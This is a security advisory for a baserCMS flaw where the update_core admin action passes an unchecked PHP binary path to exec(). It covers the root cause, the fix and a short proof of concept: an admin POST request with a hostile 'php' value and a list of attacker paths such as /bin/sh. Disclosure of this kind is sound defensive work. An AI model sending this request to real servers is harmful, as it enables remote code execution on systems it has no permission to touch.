Back to advisories
CVE-2026-62952 GHSA-vq8m-9cq4-5qh2 High CVSS 7.2

Arbitrary Binary Execution via Unvalidated PHP Path Parameter

The update_core admin action in baserCMS forwards the attacker-supplied php binary path to exec() through updateCore() and rollbackCore() without an allowlist check. Chained with a file-write primitive this gives authenticated remote code execution.

Affected: basercms < 5.2.3 Vendor: baserproject Discovered: Reported: May 18, 2026 Patched: Jul 30, 2026 Reporter: Stefan Mitocaru
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Details

baserCMS lets an administrator run the core updater by supplying the path to the PHP binary. The update_core action passes that path straight into a shell command executed by exec() without confirming it is really a PHP interpreter. escapeshellarg() neutralizes shell metacharacters but not the choice of executable, so the value can name any binary on disk. The same parameter is validated elsewhere in the codebase but not on this path, which is the core of the bug.

Summary

Field Value
Advisory GHSA-vq8m-9cq4-5qh2
Severity High (CVSS 3.0: 7.2)
CWE CWE-78 (OS Command Injection)
Package baserproject/basercms (Composer)
Affected <=5.2.2
Vulnerability Arbitrary binary execution
Impact Authenticated remote code execution when chained with a file-write primitive

How it works

The entry point is PluginsController::update_core(), around lines 150 to 165 of PluginsController.php. It accepts PUT or POST, reads php from the request body, and hands it to the service layer with no checks:

$service->updateCore(
    $request->getData('php') ?? 'php',          // no validation
    $request->getData('connection') ?? 'default'
);

If the update throws, the catch block calls rollbackCore() with the exact same unvalidated php value, so both the update and rollback paths trust attacker input.

Inside PluginsService::updateCore(), around lines 330 to 332 of PluginsService.php, the value becomes the first token of a shell command:

$command = escapeshellarg($php)
         . ' ' . escapeshellarg(ROOT . DS . 'bin/cake.php')
         . ' update --connection '
         . escapeshellarg($connection)
         . ' 2>&1';
exec($command, $out, $code);

escapeshellarg() quotes the value so it cannot break out of its argument and inject extra commands. That defense is real but narrow. It guarantees the value is treated as a single argument, not that the argument is a PHP interpreter. Whatever path the attacker supplies is the program exec() runs, with bin/cake.php and the connection flag passed to it as arguments. Point it at any executable on the filesystem and the server runs that executable.

The revealing detail is that baserCMS already knows this input is dangerous. getCoreUpdate(), around lines 825 to 827 of the same service, validates the identical parameter with a strict allowlist regex:

if (!preg_match('/^[a-zA-Z0-9\/\.\-_]+$/', $php)) {
    throw new BcException(__d('baser_core', 'PHP実行パスが不正です。'));
}

updateCore() and rollbackCore(), reached from the same admin action, skip that guard entirely.

Root Cause

The php path parameter is validated on one code path (getCoreUpdate()) but not on the two paths reached by update_core (updateCore() and rollbackCore()). The missing check is an allowlist on the binary path. escapeshellarg() is present and gives a false sense of safety because it addresses argument quoting, a different problem than restricting which executable runs. The inconsistency between the validated and unvalidated paths is the defect.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Vulnerable code

// PluginsController::update_core() — forwards attacker input unchecked
$service->updateCore(
    $request->getData('php') ?? 'php',   // attacker-controlled path
    $request->getData('connection') ?? 'default'
);

// PluginsService::updateCore() — attacker path becomes argv[0] of exec()
$command = escapeshellarg($php)          // quoted, but any executable is allowed
         . ' ' . escapeshellarg(ROOT . DS . 'bin/cake.php')
         . ' update --connection ' . escapeshellarg($connection) . ' 2>&1';
exec($command, $out, $code);

Attack scenarios

# Authenticated admin request. The "php" field names an executable
# that is NOT a PHP interpreter, so the server runs that binary instead.

POST /baser/admin/baser-core/plugins/update_core HTTP/1.1
Host: target
Cookie: <admin session>
Content-Type: application/x-www-form-urlencoded

php=/tmp/uploaded_payload&connection=default

Values an attacker may supply for the php field:

/tmp/payload            # an attacker-dropped binary (needs a prior write primitive)
/bin/sh                 # runs sh with bin/cake.php as its argument
/path/to/webshell.bin   # any executable reachable on the filesystem

The chain: a separate path traversal or upload flaw writes an executable payload to a known location, then this action is invoked with php pointing at that payload, giving authenticated remote code execution with no external tooling beyond admin access.

Fixed / safe code

// Apply an allowlist in both updateCore() and rollbackCore(), before exec().
if (!preg_match('/^[a-zA-Z0-9\/\.\-_]+$/', $php)) {
    throw new BcException(__d('baser_core', ...));
}

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →